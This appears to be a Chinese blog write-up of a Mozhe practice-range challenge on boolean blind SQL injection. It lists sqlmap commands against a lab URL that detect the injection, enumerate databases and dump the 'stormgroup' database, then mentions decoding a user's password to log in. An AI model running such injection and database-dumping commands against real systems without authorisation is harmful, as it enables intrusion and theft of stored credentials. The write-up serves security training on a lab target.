墨者靶场 SQL注入漏洞测试(布尔盲注)

曹振国cc

已于 2024-10-24 16:18:45 修改

阅读量5.3k

点赞数 5

CC 4.0 BY-SA版权

分类专栏： CTF小白文章标签： web 安全

于 2021-06-14 22:33:40 首次发布

18 篇文章

订阅专栏

本文通过查看页面源代码找到SQL注入点，接着使用sqlmap进行测试，解码status=1的密码并成功登录，揭示了SQL布尔盲注的完整过程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

┌──(root💀caozhenguo)-[~/桌面]
└─# sqlmap -u http://219.153.49.228:40972/new_list.php?id=1

查询库
┌──(root💀caozhenguo)-[~/桌面]
└─# sqlmap -u http://219.153.49.228:40972/new_list.php?id=1 --dbs

输出全部数据
┌──(root💀caozhenguo)-[~/桌面]
└─# sqlmap -u http://219.153.49.228:40972/new_list.php?id=1 -D stormgroup --dump

解码 status=1 的密码